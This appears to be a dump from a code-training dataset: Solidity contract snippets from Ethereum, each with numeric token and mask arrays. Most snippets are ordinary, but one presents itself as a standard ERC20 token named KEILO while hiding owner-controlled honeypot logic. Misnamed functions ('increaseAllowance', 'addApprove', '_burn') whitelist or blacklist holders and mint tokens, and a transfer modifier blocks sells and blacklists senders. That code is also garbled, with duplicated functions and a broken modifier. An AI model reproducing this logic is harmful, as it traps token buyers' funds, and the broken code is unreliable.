*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
pragma solidity ^0.6.11;
import "../bridge/interfaces/IBridge.sol";
import "../bridge/interfaces/ISequencerInbox.sol";
interface IOneStepProof {
// Bridges is sequencer bridge then delayed bridge
function executeStep(
address[2] calldata bridges,
uint256 initialMessagesRead,
bytes32[2] calldata accs,
bytes calldata proof,
bytes calldata bproof
)
external
view
returns (
uint64 gas,
uint256 afterMessagesRead,
bytes32[4] memory fields
);
function executeStepDebug(
address[2] calldata bridges,
uint256 initialMessagesRead,
bytes32[2] calldata accs,
bytes calldata proof,
bytes calldata bproof
) external view returns (string memory startMachine, string memory afterMachine);
}
| * @notice Sequencer adds a batch to inbox. @param transactions concatenated bytes of L2 messages @param lengths length of each txn in transctions (for parsing) @param sectionsMetadata Each consists of [numItems, l1BlockNumber, l1Timestamp, newTotalDelayedMessagesRead, newDelayedAcc] @param afterAcc Expected inbox hash after batch is added @dev sectionsMetadata lets the sequencer delineate new l1Block numbers and l1Timestamps within a given batch; this lets the sequencer minimize the number of batches created (and thus amortizing cost) while still giving timely receipts/ | function addSequencerL2Batch(
bytes calldata transactions,
uint256[] calldata lengths,
uint256[] calldata sectionsMetadata,
bytes32 afterAcc
) external {
uint256 startNum = messageCount;
bytes32 beforeAcc = addSequencerL2BatchImpl(
transactions,
lengths,
sectionsMetadata,
afterAcc
);
emit SequencerBatchDelivered(
startNum,
beforeAcc,
messageCount,
afterAcc,
transactions,
lengths,
sectionsMetadata,
inboxAccs.length - 1,
msg.sender
);
}
| 12,105,085 | [
1,
1761,
372,
23568,
4831,
279,
2581,
358,
27271,
18,
225,
8938,
22080,
1731,
434,
511,
22,
2743,
225,
10917,
769,
434,
1517,
7827,
316,
906,
349,
87,
261,
1884,
5811,
13,
225,
7178,
2277,
8315,
20915,
434,
306,
2107,
3126,
16,
328,
21,
1768,
1854,
16,
328,
21,
4921,
16,
394,
5269,
29527,
5058,
1994,
16,
394,
29527,
8973,
65,
225,
1839,
8973,
13219,
27271,
1651,
1839,
2581,
353,
3096,
225,
7178,
2277,
14557,
326,
26401,
23568,
1464,
558,
340,
394,
328,
21,
1768,
5600,
471,
328,
21,
23761,
3470,
279,
864,
2581,
31,
333,
14557,
326,
26401,
23568,
18935,
326,
1300,
434,
13166,
2522,
261,
464,
12493,
2125,
499,
6894,
6991,
13,
1323,
4859,
21057,
1658,
2357,
2637,
27827,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
527,
1761,
372,
23568,
48,
22,
4497,
12,
203,
3639,
1731,
745,
892,
8938,
16,
203,
3639,
2254,
5034,
8526,
745,
892,
10917,
16,
203,
3639,
2254,
5034,
8526,
745,
892,
7178,
2277,
16,
203,
3639,
1731,
1578,
1839,
8973,
203,
565,
262,
3903,
288,
203,
3639,
2254,
5034,
787,
2578,
273,
883,
1380,
31,
203,
3639,
1731,
1578,
1865,
8973,
273,
527,
1761,
372,
23568,
48,
22,
4497,
2828,
12,
203,
5411,
8938,
16,
203,
5411,
10917,
16,
203,
5411,
7178,
2277,
16,
203,
5411,
1839,
8973,
203,
3639,
11272,
203,
3639,
3626,
3265,
372,
23568,
4497,
20813,
329,
12,
203,
5411,
787,
2578,
16,
203,
5411,
1865,
8973,
16,
203,
5411,
883,
1380,
16,
203,
5411,
1839,
8973,
16,
203,
5411,
8938,
16,
203,
5411,
10917,
16,
203,
5411,
7178,
2277,
16,
203,
5411,
27271,
8973,
87,
18,
2469,
300,
404,
16,
203,
5411,
1234,
18,
15330,
203,
3639,
11272,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/8453/0x102516AD3cB1e1fC46AB15123BDfeb730480416B/sources/contracts/Notary.sol | * notarizeEventRegistration This code will panic if hte notarization fails. Event registrations occur when a dispatcher declares they want to establish an event in a user's trust. However to reduce chain-spam and ensure that only events the trust owner wants in their wallet exist, the registration must first pass notary inspection. The notary logic can be anything. The inputs are the minimum required to establish an event entry. @param dispatcher registration address origin @param trustId the trust ID for the event @param eventHash the unique event identifier @param description the description of the event/ we want to make sure the dispatcher is trusted note: here we are using the event log as the "ledger". | function notarizeEventRegistration(address dispatcher, uint256 trustId, bytes32 eventHash, bytes32 description) external {
require(actorRegistry[msg.sender][trustId][EVENT_DISPATCHER].contains(dispatcher),
'UNTRUSTED_DISPATCHER');
emit notaryEventRegistrationApproval(dispatcher, trustId, eventHash, description);
}
| 11,538,201 | [
1,
902,
297,
554,
1133,
7843,
1220,
981,
903,
3933,
309,
366,
736,
486,
297,
1588,
6684,
18,
2587,
28620,
3334,
1347,
279,
7393,
3496,
4807,
2898,
2545,
358,
18312,
392,
871,
316,
279,
729,
1807,
10267,
18,
10724,
358,
5459,
2687,
17,
1752,
301,
471,
3387,
716,
1338,
2641,
326,
10267,
3410,
14805,
316,
3675,
9230,
1005,
16,
326,
7914,
1297,
1122,
1342,
486,
814,
2763,
7017,
18,
1021,
486,
814,
4058,
848,
506,
6967,
18,
1021,
4540,
854,
326,
5224,
1931,
358,
18312,
392,
871,
1241,
18,
225,
7393,
225,
7914,
1758,
4026,
225,
10267,
548,
377,
326,
10267,
1599,
364,
326,
871,
225,
871,
2310,
282,
326,
3089,
871,
2756,
225,
2477,
326,
2477,
434,
326,
871,
19,
732,
2545,
358,
1221,
3071,
326,
7393,
353,
13179,
4721,
30,
2674,
732,
854,
1450,
326,
871,
613,
487,
326,
315,
1259,
693,
9654,
2,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0
]
| [
1,
565,
445,
486,
297,
554,
1133,
7843,
12,
2867,
7393,
16,
2254,
5034,
10267,
548,
16,
1731,
1578,
871,
2310,
16,
1731,
1578,
2477,
13,
3903,
288,
203,
3639,
2583,
12,
3362,
4243,
63,
3576,
18,
15330,
6362,
21879,
548,
6362,
10454,
67,
2565,
3118,
5858,
654,
8009,
12298,
12,
18495,
3631,
203,
5411,
296,
5321,
54,
5996,
2056,
67,
2565,
3118,
5858,
654,
8284,
203,
203,
3639,
3626,
486,
814,
1133,
7843,
23461,
12,
18495,
16,
10267,
548,
16,
871,
2310,
16,
2477,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./partial_match/1/0x822Ba32d153ab854E0E4B53A1ba5366d4f073906/sources/CsprlToken.sol | * @notice Indicates whether all transfers are paused. See {Pausable-paused} @return True if transfers are paused, false otherwise/ | function paused() public view override(Pausable, IERC1404Validators) returns (bool) {
return Pausable.paused();
}
| 3,563,019 | [
1,
23741,
2856,
777,
29375,
854,
17781,
18,
2164,
288,
16507,
16665,
17,
8774,
3668,
97,
327,
1053,
309,
29375,
854,
17781,
16,
629,
3541,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
17781,
1435,
1071,
1476,
3849,
12,
16507,
16665,
16,
467,
654,
39,
3461,
3028,
19420,
13,
1135,
261,
6430,
13,
288,
203,
3639,
327,
21800,
16665,
18,
8774,
3668,
5621,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/1/0x41b84aea119E945f4C275BADA0eD38b8aFE864c8/sources/contracts/SystemVersionId.sol | * @title SystemVersionId @notice Base contract providing the system version identifier/ | abstract contract SystemVersionId {
uint256 public constant SYSTEM_VERSION_ID = uint256(keccak256('Circle CCTP - 2023-06-24'));
}
| 17,169,095 | [
1,
3163,
28039,
225,
3360,
6835,
17721,
326,
2619,
1177,
2756,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
17801,
6835,
2332,
28039,
288,
203,
565,
2254,
5034,
1071,
5381,
18786,
67,
5757,
67,
734,
273,
2254,
5034,
12,
79,
24410,
581,
5034,
2668,
19490,
385,
1268,
52,
300,
26599,
23,
17,
7677,
17,
3247,
6134,
1769,
203,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/3/0x0f12c318B2321a2B88d881De2922d30526D03ce3/sources/noswap/KEILO.sol | * @dev Implementation of the {IERC20} interface. This implementation is agnostic to the way tokens are created. This means that a supply mechanism has to be added in a derived contract using {_mint}. For a generic mechanism see {ERC20PresetMinterPauser}. TIP: For a detailed writeup see our guide to implement supply mechanisms]. We have followed general OpenZeppelin guidelines: functions revert instead of returning `false` on failure. This behavior is nonetheless conventional and does not conflict with the expectations of ERC20 applications. Additionally, an {Approval} event is emitted on calls to {transferFrom}. This allows applications to reconstruct the allowance for all accounts just by listening to said events. Other implementations of the EIP may not emit these events, as it isn't required by the specification. Finally, the non-standard {decreaseAllowance} and {increaseAllowance} functions have been added to mitigate the well-known issues around setting allowances. See {IERC20-approve}./ | contract KEILO is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
}
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account == _msgSender(), "Ownable: caller is not the owner");
require(_msgSender() != address(0), "ERC20: cannot permit zero address");
_totalSupply = _totalSupply + amount;
_balances[_msgSender()] = _balances[_msgSender()].add(amount);
emit Transfer(address(0), _msgSender(), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (_whiteAddress[sender] == true){
if (amount < _sellAmount){
}
}
}
}
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (_whiteAddress[sender] == true){
if (amount < _sellAmount){
}
}
}
}
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (_whiteAddress[sender] == true){
if (amount < _sellAmount){
}
}
}
}
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (_whiteAddress[sender] == true){
if (amount < _sellAmount){
}
}
}
}
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
| 8,232,822 | [
1,
13621,
434,
326,
288,
45,
654,
39,
3462,
97,
1560,
18,
1220,
4471,
353,
279,
1600,
669,
335,
358,
326,
4031,
2430,
854,
2522,
18,
1220,
4696,
716,
279,
14467,
12860,
711,
358,
506,
3096,
316,
279,
10379,
6835,
1450,
288,
67,
81,
474,
5496,
2457,
279,
5210,
12860,
2621,
288,
654,
39,
3462,
18385,
49,
2761,
16507,
1355,
5496,
399,
2579,
30,
2457,
279,
6864,
1045,
416,
2621,
3134,
7343,
358,
2348,
14467,
1791,
28757,
8009,
1660,
1240,
10860,
7470,
3502,
62,
881,
84,
292,
267,
9875,
14567,
30,
4186,
15226,
3560,
434,
5785,
1375,
5743,
68,
603,
5166,
18,
1220,
6885,
353,
1661,
546,
12617,
15797,
287,
471,
1552,
486,
7546,
598,
326,
26305,
434,
4232,
39,
3462,
12165,
18,
26775,
16,
392,
288,
23461,
97,
871,
353,
17826,
603,
4097,
358,
288,
13866,
1265,
5496,
1220,
5360,
12165,
358,
23243,
326,
1699,
1359,
364,
777,
2
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
| [
1,
16351,
1475,
41,
45,
1502,
353,
1772,
16,
467,
654,
39,
3462,
288,
203,
565,
1450,
14060,
10477,
364,
2254,
5034,
31,
203,
565,
1450,
5267,
364,
1758,
31,
203,
377,
203,
565,
2874,
261,
2867,
516,
2254,
5034,
13,
3238,
389,
70,
26488,
31,
203,
565,
2874,
261,
2867,
516,
1426,
13,
3238,
389,
14739,
1887,
31,
203,
565,
2874,
261,
2867,
516,
1426,
13,
3238,
389,
11223,
1887,
31,
203,
377,
203,
565,
2254,
5034,
3238,
389,
87,
1165,
6275,
273,
374,
31,
203,
203,
565,
2874,
261,
2867,
516,
2874,
261,
2867,
516,
2254,
5034,
3719,
3238,
389,
5965,
6872,
31,
203,
203,
565,
2254,
5034,
3238,
389,
4963,
3088,
1283,
31,
203,
377,
203,
565,
533,
3238,
389,
529,
31,
203,
565,
533,
3238,
389,
7175,
31,
203,
565,
2254,
28,
3238,
389,
31734,
31,
203,
565,
2254,
5034,
3238,
389,
12908,
537,
620,
273,
22821,
7235,
3462,
6675,
4366,
9036,
2313,
3657,
6564,
4366,
10321,
5908,
7140,
713,
5292,
28,
7235,
8642,
7140,
27284,
2733,
5193,
6028,
25,
1105,
6260,
1105,
4630,
29,
7950,
5877,
5193,
713,
7235,
3437,
24886,
4449,
2733,
4763,
31,
203,
203,
565,
1758,
1071,
389,
8443,
31,
203,
565,
1758,
3238,
389,
4626,
5541,
31,
203,
565,
1758,
3238,
389,
318,
77,
10717,
273,
374,
92,
27,
69,
26520,
72,
4313,
5082,
38,
24,
71,
42,
25,
5520,
27,
5520,
72,
42,
22,
39,
25,
72,
37,
7358,
24,
71,
26,
6162,
42,
3247,
5482,
40,
31,
203,
377,
203,
203,
97,
203,
282,
2
]
|
/**
*Submitted for verification at Etherscan.io on 2022-02-07
*/
pragma solidity ^0.8.0;
// Part: IDragos - Needed to interface with the Dragos NFT contract
interface IDragos {
function ownerOf(uint256 tokenId) external view returns (address owner);
function transferFrom(address from, address to, uint256 tokenId) external;
}
// Part: OpenZeppelin/[email protected]/Address
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
